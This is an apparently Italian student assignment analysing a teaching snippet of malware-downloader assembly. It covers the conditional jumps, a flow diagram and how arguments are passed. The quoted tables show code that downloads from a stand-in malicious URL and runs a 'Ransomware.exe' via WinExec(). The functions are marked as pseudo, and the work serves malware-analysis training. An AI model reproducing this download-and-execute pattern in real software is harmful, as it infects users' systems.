PROGETTO S11/L5

di Giuseppe Lupoi

INDICE

TRACCIA

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- *Spiegate, motivando, quale salto condizionale effettua il Malware.*
- *Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati).*
- *Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.*
- *Quali sono le diverse funzionalità implementate all'interno del Malware?*
- *Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.*

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. *I salti condizionali del Malware*

In riferimento al codicea noi fornito, possiamo individuare due salti condizionali:
*Il primo che riconosciamo si tratta di un "**jnz**" (jump not zero) il cui potrà saltare alla prossima parte di codice solo a patto che la **ZF (zero flag)** sia settata a 0.*
*Nel nostro malware il salto non avverrà in quanto la sorgente è uguale alla destinazione e quindi la **ZF sarà settata a 1**.*
*Il secondo jump che incontriamo è "**jz**" (jump zero) il cui potrà saltare alla parte di codice interessata solo se la **ZF è settata a 1**.*
Questi salti condizionali sono tipici dei malware per evitare l'esecuzione di sezioni di codice dannose solo presenza di determinate condizioni.
L'uso di salti basati sui confronti con valori di registri suggerisce che il malware potrebbe eseguire percorsi diversi.

2 & 3. Diagramma di flusso

La creazione di un diagramma di flusso accurato è necessario nell'analisi del malware.
Il diagramma serve come punto di riferimento che facilita la comprensione dello svolgimento del malware, dei suoi percorsi e delle sue funzionalità. È sempre consigliato per gli analisti di sicurezza utilizzare il diagramma come punto di partenza per un'indagine.

Nelle slide seguenti mostro il diagramma di flusso secondo la mia interpretazione.

00401040 | mov EAX, 5
00401044 | mov EBX, 10
00401048 | cmp EAX, 5
0040105B | jnz loc 0040BBA0

0040BBA0 | mov EAX, EDI | EDI= www.malwaredownload.com
0040BBA4 | push EAX | ;URL
0040BBA8 | call DownloadToFile() | ;funzione

0040105F | inc EBX
00401064 | cmp EBX, 11
00401068 | jz loc 0040FFA0

Altre ipotetiche istruzioni...

0040FFA0 | mov EDX, EDI |
EDI : C:\ Program & Settings \ Local User \ Desktop \ Ransomware.exe

0040FFA4 | push EDX | ;eseguibile
0040FFA8 | call WinExec() | ;funzione

4. Le funzionalità del malware

Secondo il diagramma che ho precedente esposto, possiamo capire che se avviene il primo salto verrà inizializzato lo stack in cui verrà inserito il sito malevolo da cui successivamente il malware scaricherà l'eseguibile infettando il sistema.
Nella seconda istruzione invece dove compirà il secondo salto, andrà invece a copiare il file dannoso per poi eseguirlo.

A questo punto con i dettagli che siamo riusciti a recuperare possiamo definire le due principali funzionalità del malware dove nella prima fare si collegherà ad un sito per effettuare un download, nella seconda fase invece andrà a salvare il file nel path di sistema per poi eseguirlo.
Possiamo dedurre da ciò che abbiamo a che fare con un ***malware downloader****.*

5. Spiegazione delle istruzioni in tabella 2 e 3

Riferimento alla Tabella 2

0040BBA0 | mov EAX, EDI | EDI = www.malwaredownload.com
0040BBA4 | push EAX | ; URL
0040BBA8 | call DownloadToFile() | ; pseudo funzione

*Nella prima linea vediamo che il **registro EDI con all'interno l'URL** malevolo verrà spostato con l'istruzione **mov** all'interno del registro **EAX**.*
*Nella seconda linea invece avremo un **push del registro EAX** allo stack. E nella terza linea avremo la chiamata alla funzione, **call DownloadToFile(),** che scaricherà dall'URL malevolo il file del malware che andrà ad infettare il sistema.*

Riferimento alla Tabella 3

0040FFA0 | mov EDX, EDI | EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4 | push EDX | ; .exe da eseguire
0040FFA8 | call WinExec() | ; funzione

*Nella prima linea possiamo vedere il registro **EDI** con all'interno il **path per copiare il Ransomware** specifico, che successivamente viene spostato nel registro **EDX** con l'istruzione **mov**.*
*Nella seconda linea attraverso l'istruzione **push** vediamo l'inizializzazione dello stack con il registro **EDX contenente il .exe da eseguire**.*
*Nella terza linea avverrà la chiamata alla funzione con **call WinExec()** che avvierà il registro **EDX** creato appena prima eseguendo il file al suo interno.*

THANK YOU